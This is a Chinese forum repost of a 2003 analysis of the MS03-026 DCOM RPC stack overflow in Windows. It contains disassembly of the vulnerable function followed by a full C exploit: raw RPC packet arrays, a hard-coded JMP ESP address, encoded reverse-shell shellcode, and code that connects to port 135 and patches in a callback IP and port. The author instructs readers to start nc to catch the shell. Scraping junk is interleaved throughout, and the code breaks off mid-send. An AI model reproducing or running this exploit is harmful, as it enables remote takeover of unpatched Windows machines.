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标题: LSD RPC 溢出漏洞之分析 [打印本页]
作者: ASEE    时间: 2003-8-9 22:38
标题: LSD RPC 溢出漏洞之分析
作者：FLASHSKY: x' s7 c0 p+ o9 N 作者单位：启明星辰积极防御实验室% ]! U8 j7 J9 v/ |. Q4 X$ y% v* k. d WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM$ n7 N# T- @1 }$ f1 {+ Y4 r$ f, L 邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com- p, O z% L' ^% {0 q) v) A 感谢BENJURRY做测试，翻译和代码的通用化处理。 ! ^5 G, j, b- m( z H$ t邮件：benjurry@xfocus.org 6 F. I% e R5 J) h3 d0 M + ~! H5 [$ {" R8 x* [0 uLSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。: m8 a; A2 S( F4 `6 K1 e 导致问题的调用如下：0 P! y- x; w/ u) w* \: C hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi);' J3 [, d6 K2 x. B: H- _ 这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 / g# c: @ \7 V, e& M3 x在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了：! G5 d0 w1 i4 _ 问题代码如下：' ?7 `% ?! x) h& T( W/ p GetPathForServer：7 X5 q, q3 ?( j- U- j( V .text:761543DA push ebp ; Z- W' C9 D2 O0 e K7 T.text:761543DB mov ebp, esp $ \* J% p9 e' @5 `* r3 N.text:761543DD sub esp, 20h <-----0x20空间 - l" o, p& h* J2 L# c$ C: u.text:761543E0 mov eax, [ebp+arg_4] - i; v, h% P3 E8 q l; Z0 _.text:761543E3 push ebx8 I% s& N+ T% V7 p6 B .text:761543E4 push esi 3 k8 V" v2 w! R5 i5 B.text:761543E5 mov esi, [ebp+hMem]' J! C' ]8 ?' d4 V; } .text:761543E8 push edi; G2 _4 E; L( ^ .text:761543E9 push 5Ch & [& @9 p: u9 w l6 L.text:761543EB pop ebx / v3 e$ C! P% C3 J% S.text:761543EC mov [eax], esi / j- w* ]" m# G/ u.text:761543EE cmp [esi], bx - O$ W- K1 h3 k: {+ Z.text:761543F1 mov edi, esi5 w4 x2 M, k0 x! v! C .text:761543F3 jnz loc_761544BF3 e. G1 \- N0 ^ R .text:761543F9 cmp [esi+2], bx* V0 |0 ?( v% Q% Z9 s .text:761543FD jnz loc_761544BF& t& x c& v- o$ J& K .text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 ! R0 m1 G* g8 h2 P.text:76154406 push 05 r, P8 w: s9 {6 l .text:76154408 push eax 2 L% O2 b, N. }% f. R+ v& V.text:76154409 push esi 〈----------------------我们传入的文件名参数 ; W* {0 M/ v z4 _6 \) @: r% \.text:7615440A call GetMachineName 4 F$ x) L6 g' G1 G" t" Z6 F。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 ; \" w/ u' }0 @8 G2 V! _2 b! ^6 u. ?+ u" N( k- A GetMachineName: + h; M- \! T @8 g, G0 \$ _: s C.text:7614DB6F mov eax, [ebp+arg_0]( I6 b6 s/ P+ X, J+ e2 C .text:7614DB72 mov ecx, [ebp+arg_4], U2 U9 [7 p. f$ i" K; m .text:7614DB75 lea edx, [eax+4] $ L( L0 P. Y1 u.text:7614DB78 mov ax, [eax+4]4 W. u( i7 u/ \( ^9 r" t" g .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C 2 Z+ l+ ~# ~6 M8 ^& I, u.text:7614DB80 jz short loc_7614DB93$ w V' o& }8 ` D1 { .text:7614DB82 sub edx, ecx0 I. ~3 q5 [+ ^9 p .text:7614DB843 ]. j/ S8 ? E; ^' c .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j - x8 M! e z! u.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 $ v/ K/ F0 A2 b, P/ \& U& H- d2 L3 X.text:7614DB87 inc ecx4 U. Q4 d, d. p @. i: k5 }; z5 u .text:7614DB88 inc ecx- \5 J1 \# x( m6 Q! B6 l4 g' u, J1 T( U .text:7614DB89 mov ax, [ecx+edx]1 e/ P z# d( {8 G' D: \ .text:7614DB8D cmp ax, 5Ch+ n, {' { |: Z8 ^7 Y* T" x; M .text:7614DB91 jnz short loc_7614DB84( o4 c7 u+ M3 @ .text:7614DB93- `- c1 @& y3 ^" s ' N6 f' N# F( A/ e! ^4 U OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。# l- F8 V2 ~4 I 下面就给出一个实现的代码，注意点如下： : b2 m/ Y' y R1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 6 L$ F% W4 W, [) R- Y需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。. ?2 W* A/ c' n 2。这里使用了反向连接的SHELLCODE，需要先运行NC 0 j/ d2 Y: f) K7 o# P, e$ c* b3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 # w. e+ D6 B q) Y3 }计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 0 C8 J* C% u E2 H4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 + \8 r- D5 f0 {: n+ c" a5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 + E2 r( a) {& C- j, d( V2 D; w) ] 6 @6 Z/ B% a5 Z- A/ A#include * b- A! s8 w* }6 J: ~7 n m#include : z9 W% e+ v* S l7 v, n8 I/ B3 I #include 1 R/ }% F1 ]6 D7 T0 a #include 0 I& s% G5 z3 y" T$ Y #include 8 Q7 N$ @2 X, B* b+ ^+ d- i' h #include 7 e; p+ S4 Q7 W & Z5 ]/ F Y% {* e+ a2 C" q0 J unsigned char bindstr[]={3 O* W4 c" [/ y# S; b 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, + O7 e5 c$ w- I1 Q) i1 _2 ^0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,& a2 m( Y. I# W9 x# P 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,; v0 L g2 v9 \3 a) ~$ s- y 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, : m5 \2 H" ?7 d/ y, g) l0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; % R2 U7 J1 L5 T* V) h: r' ?1 N ( Z4 [! B6 I8 y, B. \% Wunsigned char request1[]={& Y1 M; E6 _+ P* U5 C) R# H5 s 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 # A' C& d) ?9 \; k,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 8 ]. p8 Y7 I1 B" a,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x450 M& X5 C7 s* l7 f0 x" L ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x003 f l: G, l) G( {/ A8 _8 ` ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ' a6 }! k* e/ Y/ R4 {& P5 P6 z,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D " I% B. m g2 Q/ H5 V1 U9 X9 Y" Y,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ) p4 Q: _: s: t5 j,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 8 b( w; }- A4 y3 f,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 6 B- ^5 U0 _, G( V" s* t" c) z& e( @,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x007 v \% D# v, p3 V& e) F ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00% K$ Z% U$ ^. _) A4 r1 h ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03( P$ ?# K \' K3 C ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00# O, x, B2 Z- z ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ; p5 ^, j y& u,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00" ~" `" u# t+ T4 z: Z ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x290 n& T* T5 W* F3 D) {0 V1 g0 s- [ ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 / L$ z* E8 Y$ f2 s' [5 H# w6 J9 c,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 3 T/ R+ U) P/ _' D9 m9 g,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 % p3 N7 R* B7 Q& [& Z2 f [,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 & Y4 m6 `( c' j- T,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 7 V, L. |* w1 |$ U,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 9 s# V: |( G6 Q2 Y( j) Y u,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ; `% g) @ k- U3 l- P,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x000 u' L$ A& H6 [/ o) I+ h ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00$ @1 Z5 _6 r$ V: N* f5 r9 Z ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10) e4 C: A- L+ j" R+ t! C( l ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ' h- T6 V/ ?9 @4 c( d. r,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) ^1 \9 v- m% D. B# O( i ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 & O' V% S+ B3 ~' P, h; c5 i,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00& l( i- d# R0 N& [( d) h ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ! L* Y5 V% W' J+ x' O,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10, b: v7 G1 t* O2 m+ L5 i! ~6 ^( b ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ; O: {+ v, e7 X' i; x$ m& a7 ]! `,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00( Z3 L$ Y7 G$ T' d8 [ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 1 L) j. C v0 W: o,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00& R- S' \# h1 g/ q ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ) I" c0 q p( I( x v$ @0 @2 i R: z,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00, f/ q" E6 S9 ?% B4 ` ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x009 p3 n' o6 }) ~ Q* @5 E0 b ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00- ]$ {* p: d0 K0 k% w/ C+ i! N ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01. q9 Q2 g3 o% K% t: u3 k6 ?: X ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03( Q8 o3 F0 _4 p ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ) L- s' \3 Q. F! U,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E H4 z+ E: E5 M# [ ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00( E3 L3 L3 V; b2 r ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00+ g! R; `" Y! C1 a$ l; u/ ?. w/ [ ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00: h1 R) D; {; z. D. M2 x* ~ ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 , g) a3 a. |1 F,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x006 I$ s- E! }5 ?1 o, s8 z ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00$ I/ o" Q: ^7 [0 z ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00+ L. J$ H0 s! {5 b3 M7 ^ ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 3 ?6 ?* V7 g( K+ ?. u,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00+ g1 l9 e; z+ z! ` ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 7 {! o+ @9 x3 k0 _,0x00,0x00,0x00,0x00,0x00,0x00};+ h$ l/ t1 C" U. s2 f 5 ^3 J1 q/ v0 f. h5 [4 k unsigned char request2[]={# i+ ^1 S0 s- J 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x003 w2 `" g* U5 k ,0x00,0x00,0x5C,0x00,0x5C,0x00}; . T, G8 S: q3 U, O8 a7 ] - z# A( ]: S: o( Kunsigned char request3[]={# z; D5 R3 E+ k0 G 0x5C,0x00, ?" H9 t3 k$ m, M0 {/ ^ ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 9 I! g/ I* ^+ f,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00) N( @& N1 I3 y- o% v( }# F ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x001 L) z4 \9 N( Z+ \: t( @. r3 \6 C ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};/ A! x0 w! _9 R7 b W6 |" S( d- c: a" N( N4 C7 } unsigned char sc[]=" f* V: y( p j, X6 S' r' r "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" 5 J$ a3 l1 L' h" M3 _7 o! c"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 2 x* n( g4 o# z; x" v"\x46\x00\x58\x00"* f5 l v8 \. E! ^# I O "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动: g0 X" w d; w8 _ "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址0 p" `: h' ?. H; o$ p% P //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 8 i. L# {% T0 M1 _//SHELLCODE不存在0X00，0X00与0X5C + p6 F2 S+ S9 a"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" 0 N' I* t' F+ o6 F1 y( _( |: D; y"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"% E0 v/ x* N; q "\x93\x40\xe2\xfa", O6 a2 B4 N7 G/ q' t% W/ k' q // code " u! l9 U+ f! k" i$ d"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" " Z; u& C' X; e* t, u"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"# W' D7 [* x$ }* E( i# d "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"1 D# w' r7 c0 } P. F( ~ "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"" [) k; b+ b6 U- j+ \! B "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"2 c9 q) `0 @- E) x5 s$ e1 d "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" 7 G2 V+ V7 v" t0 P+ c5 H$ C7 [1 H"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" / n. y8 ^& {* a, |* H3 y- X"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93", E! b* G+ g5 J8 w) i E7 `8 S( [5 M "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" ! ]0 r% n5 u# l: B. O8 N"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" 1 F. A7 `& g8 X3 V! @! E: J"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" ) ?7 m) e9 V- c+ k( Y& U"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" 7 y4 J7 P6 v6 a+ V1 t"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90". ^) c5 `, V; A) q7 N5 s( R; u( u "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" ! E6 L1 S, S3 E3 s+ [. F6 L"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"% N: p6 x" s0 o "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"0 R' [$ o2 H! K "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" , c+ W& r% S$ E' Y0 w% U"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"2 I8 P7 |# W7 g "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"% W$ D: r: {( x4 I5 N+ W6 H0 W; K5 i "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"5 B- s- b W) ^ "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" - h' I* ?( _; S$ \# r"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" & b. X' r3 W, H1 U0 L"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"8 ?" @, i+ ^+ c2 S2 V5 B4 L6 U "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"9 p8 f7 o$ k* ] "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"# @; X* G ] x/ O# E& T& g, @ "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" `+ {9 M' ]/ j' T4 x. U4 n, R, b "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";! H, t" b. f3 A* B5 q- G4 L + Z7 C9 B3 y- c7 g0 Sunsigned char request4[]={ - l6 s: s% r( g, I9 R& f m0x01,0x10 / m0 j8 l- M* R9 S$ D( [! p5 v,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 a5 i7 \5 t0 D5 p& d9 o- q7 j,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C 3 @! Q. A4 ?+ ?& q,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 3 E3 Y( j' `& Y4 C" u" n}; 8 f5 \3 \7 V0 ~: ^6 g" \2 T ; L+ r$ \* F" C- V9 B' Dvoid main(int argc,char ** argv) # z) \1 f! b0 L$ H9 p- O0 R{* R! Q }" |* ^" P0 t) t% o WSADATA WSAData;5 T8 n, O: j; B+ W. W, P; s" s SOCKET sock;7 `7 o, n; ]7 l' k+ f. c int len,len1;2 | ]7 `0 g3 [6 M2 d; i" M SOCKADDR_IN addr_in;) D4 W3 a6 o7 f$ K. N short port=135; 8 v) F0 x" s& y) F0 k& C' `% g6 Qunsigned char buf1[0x1000];+ j* W7 D {' p& R. F unsigned char buf2[0x1000];1 G8 M. t( z f# g5 \" m3 m unsigned short port1;5 Q. T- x' D$ M0 I. i- P DWORD cb;( O1 R( S& `+ D: i / F7 e# r/ Y: @2 I if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) * U( W; Z5 Y+ x) l# {2 `{ 7 Q5 g# l. ~. l7 D$ a) y P) x6 Sprintf("WSAStartup error.Error:%d\n",WSAGetLastError());* a) R. p* ^6 f. M0 Q, }' E8 I8 P return; : X2 d1 t0 d$ q7 {. h. ? T} 0 _- v( f0 q. X+ H) @' n8 T( ? * S7 u, H6 ^) r: W9 R4 Eaddr_in.sin_family=AF_INET;$ P6 o' ]* p, o9 r addr_in.sin_port=htons(port); D }5 I2 U/ [1 Q4 K$ | addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); & H2 i3 Y5 ~5 d9 o" j" h( v- W* t, E, n9 [9 J if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)$ S9 w2 [5 K! s% J& D8 a* N {6 s, l/ ]' U0 i( Z printf("Socket failed.Error:%d\n",WSAGetLastError()); . g. M: m: Z1 Q, k- U9 X0 Dreturn;0 W0 d- p' t' s' R4 h } + g5 y$ o) M! _- K( Qif(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) 2 ]5 H# {* O/ c- p, N{; B" a1 j8 U1 z1 |, L printf("Connect failed.Error:%d",WSAGetLastError()); 3 O6 j8 x& O: o* j) nreturn;9 i8 c) X5 X* H9 M. `7 O }, e5 `) {( g( J5 p. l4 |" {& N" [ port1 = htons (2300); //反向连接的端口 0 g4 u& O; z. v! wport1 ^= 0x9393; * B9 \/ h7 T, P: S/ n2 ]% A3 kcb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210，& y a+ }" z1 ^, P5 P cb ^= 0x93939393; + v V9 a2 R$ {7 c6 b T6 o! ]- T' j*(unsigned short *)&sc[330+0x30] = port1; , o' k o& N; C' p*(unsigned int *)&sc[335+0x30] = cb;; s5 z8 `8 r2 @9 K7 K len=sizeof(sc);: M% P. B6 m W, L5 K& Z memcpy(buf2,request1,sizeof(request1));# M+ r, X3 W( l/ v" [. P len1=sizeof(request1);! f- Q: q& a9 G9 w *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 2 k4 \/ V/ z! q. {, L% I*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度3 x) b) ^) t8 ? memcpy(buf2+len1,request2,sizeof(request2)); & P( @% o5 N) S0 W! flen1=len1+sizeof(request2);& z& w8 |/ z8 T8 l7 K* n" u memcpy(buf2+len1,sc,sizeof(sc)); - _2 O' r3 J; n: P) blen1=len1+sizeof(sc); / c( Z' [& d# b. N, Z/ Rmemcpy(buf2+len1,request3,sizeof(request3)); % T! |. ~# }9 _2 plen1=len1+sizeof(request3); k( n8 _( j! n4 a) ?; Smemcpy(buf2+len1,request4,sizeof(request4)); & W8 M7 o$ a$ S6 ?$ u% x' |( | flen1=len1+sizeof(request4); % }/ T" l r# y) t8 _9 H2 b*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;' w# C& t0 Y7 `2 j( A7 I //计算各种结构的长度 * D/ L7 n2 C, y b" u*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;5 n. w2 x r" w! F- P& E W$ ^8 u *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; - a5 M, G2 R& H+ q6 b*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;4 H" \# t% r- x. [6 V *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;" w" k/ w: D0 j$ ?. e/ c; G4 e *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;7 X& ]- k( o" I& S *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; ! d& B- o) w) H: y6 y. F a( ~*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;' o8 v& d. c3 L& v1 z& o if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) & u* c$ Z( ^' ]# w/ `7 y{. Y( t2 {# z( s. W+ V U printf("Send failed.Error:%d\n",WSAGetLastError());+ ^) 